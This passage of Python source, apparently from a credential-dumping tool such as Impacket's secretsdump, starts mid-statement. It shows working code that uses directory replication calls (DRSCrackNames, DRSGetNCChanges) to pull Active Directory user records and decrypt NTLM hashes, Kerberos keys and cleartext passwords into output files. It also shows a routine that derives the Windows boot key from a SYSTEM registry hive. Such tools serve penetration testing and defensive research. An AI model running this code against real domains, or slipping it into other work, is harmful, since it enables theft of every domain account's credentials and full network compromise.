drsuapi.DS_NAME_FORMAT.DS_NT4_ACCOUNT_NAME else: formatOffered = drsuapi.DS_NT4_ACCOUNT_NAME_SANS_DOMAIN crackedName = self.__remoteOps.DRSCrackNames(formatOffered, drsuapi.DS_NAME_FORMAT.DS_UNIQUE_ID_NAME, name=self.__justUser) if crackedName['pmsgOut']['V1']['pResult']['cItems'] == 1: if crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status'] != 0: raise Exception("%s: %s" % system_errors.ERROR_MESSAGES[ 0x2114 + crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status']]) userRecord = self.__remoteOps.DRSGetNCChanges(crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['pName'][:-1]) #userRecord.dump() replyVersion = 'V%d' % userRecord['pdwOutVersion'] if userRecord['pmsgOut'][replyVersion]['cNumObjects'] == 0: raise Exception('DRSGetNCChanges didn\'t return any object!') else: LOG.warning('DRSCrackNames returned %d items for user %s, skipping' % ( crackedName['pmsgOut']['V1']['pResult']['cItems'], self.__justUser)) try: self.__decryptHash(userRecord, userRecord['pmsgOut'][replyVersion]['PrefixTableSrc']['pPrefixEntry'], hashesOutputFile) if self.__justNTLM is False: self.__decryptSupplementalInfo(userRecord, userRecord['pmsgOut'][replyVersion]['PrefixTableSrc'][ 'pPrefixEntry'], keysOutputFile, clearTextOutputFile) except Exception as e: LOG.error("Error while processing user!") LOG.debug("Exception", exc_info=True) LOG.error(str(e)) else: while status == STATUS_MORE_ENTRIES: resp = self.__remoteOps.getDomainUsers(enumerationContext) for user in resp['Buffer']['Buffer']: userName = user['Name'] userSid = self.__remoteOps.ridToSid(user['RelativeId']) if resumeSid is not None: # Means we're looking for a SID before start processing back again if resumeSid == userSid.formatCanonical(): # Match!, next round we will back processing LOG.debug('resumeSid %s reached! processing users from now on' % userSid.formatCanonical()) resumeSid = None else: LOG.debug('Skipping SID %s since it was processed already' % userSid.formatCanonical()) continue # Let's crack the user sid into DS_FQDN_1779_NAME # In theory I shouldn't need to crack the sid. Instead # I could use it when calling DRSGetNCChanges inside the DSNAME parameter. # For some reason tho, I get ERROR_DS_DRA_BAD_DN when doing so. crackedName = self.__remoteOps.DRSCrackNames(drsuapi.DS_NAME_FORMAT.DS_SID_OR_SID_HISTORY_NAME, drsuapi.DS_NAME_FORMAT.DS_UNIQUE_ID_NAME, name=userSid.formatCanonical()) if crackedName['pmsgOut']['V1']['pResult']['cItems'] == 1: if crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status'] != 0: LOG.error("%s: %s" % system_errors.ERROR_MESSAGES[ 0x2114 + crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status']]) break userRecord = self.__remoteOps.DRSGetNCChanges( crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['pName'][:-1]) # userRecord.dump() replyVersion = 'V%d' % userRecord['pdwOutVersion'] if userRecord['pmsgOut'][replyVersion]['cNumObjects'] == 0: raise Exception('DRSGetNCChanges didn\'t return any object!') else: LOG.warning('DRSCrackNames returned %d items for user %s, skipping' % ( crackedName['pmsgOut']['V1']['pResult']['cItems'], userName)) try: self.__decryptHash(userRecord, userRecord['pmsgOut'][replyVersion]['PrefixTableSrc']['pPrefixEntry'], hashesOutputFile) if self.__justNTLM is False: self.__decryptSupplementalInfo(userRecord, userRecord['pmsgOut'][replyVersion]['PrefixTableSrc'][ 'pPrefixEntry'], keysOutputFile, clearTextOutputFile) except Exception as e: LOG.error("Error while processing user!") LOG.debug("Exception", exc_info=True) LOG.error(str(e)) # Saving the session state self.__resumeSession.writeResumeData(userSid.formatCanonical()) enumerationContext = resp['EnumerationContext'] status = resp['ErrorCode'] # Everything went well and we covered all the users # Let's remove the resume file is we had created it if self.__justUser is None: self.__resumeSession.clearResumeData() LOG.debug("Finished processing and printing user's hashes, now printing supplemental information") # Now we'll print the Kerberos keys. So we don't mix things up in the output. if len(self.__kerberosKeys) > 0: if self.__useVSSMethod is True: LOG.info('Kerberos keys from %s ' % self.__NTDS) else: LOG.info('Kerberos keys grabbed') for itemKey in list(self.__kerberosKeys.keys()): self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS_KERBEROS, itemKey) # And finally the cleartext pwds if len(self.__clearTextPwds) > 0: if self.__useVSSMethod is True: LOG.info('ClearText password from %s ' % self.__NTDS) else: LOG.info('ClearText passwords grabbed') for itemKey in list(self.__clearTextPwds.keys()): self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS_CLEARTEXT, itemKey) finally: # Resources cleanup if hashesOutputFile is not None: hashesOutputFile.close() if keysOutputFile is not None: keysOutputFile.close() if clearTextOutputFile is not None: clearTextOutputFile.close() self.__resumeSession.endTransaction() @classmethod def __writeOutput(cls, fd, data): try: fd.write(data) except Exception as e: LOG.error("Error writing entry, skipping (%s)" % str(e)) pass def finish(self): if self.__NTDS is not None: self.__ESEDB.close() class LocalOperations: def __init__(self, systemHive): self.__systemHive = systemHive def getBootKey(self): # Local Version whenever we are given the files directly bootKey = b'' tmpKey = b'' winreg = winregistry.Registry(self.__systemHive, False) # We gotta find out the Current Control Set currentControlSet = winreg.getValue('\\Select\\Current')[1] currentControlSet = "ControlSet%03d" % currentControlSet for key in ['JD', 'Skew1', 'GBG', 'Data']: LOG.debug('Retrieving class info for %s' % key) ans = winreg.getClass('\\%s\\Control\\Lsa\\%s' % (currentControlSet, key)) digit = ans[:16].decode('utf-16le') tmpKey = tmpKey + b(digit) transforms = [8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7] tmpKey = unhexlify(tmpKey) for i in range(len(tmpKey)): bootKey += tmpKey[transforms[i]:transforms[i] + 1] LOG.info('Target system bootKey: 0x%s' % hexlify(bootKey).decode('utf-8')) return bootKey def checkNoLMHashPolicy(self): LOG.debug('Checking NoLMHash Policy') winreg = winregistry.Registry(self.__systemHive, False) # We gotta find out the Current Control Set currentControlSet = winreg.getValue('\\Select\\Current')[1] currentControlSet = "ControlSet%03d" % currentControlSet # noLmHash = winreg.getValue('\\%s\\Control\\Lsa\\NoLmHash' % currentControlSet)[1] noLmHash = winreg.getValue('\\%s\\Control\\Lsa\\NoLmHash' % currentControlSet) if noLmHash is not None: noLmHash = noLmHash[1] else: noLmHash = 0 if noLmHash != 1: LOG.debug('LMHashes are being stored') return False LOG.debug('LMHashes are NOT being stored') return True def _print_helper(*args, **kwargs): if LOG.level <40: print(args[-1])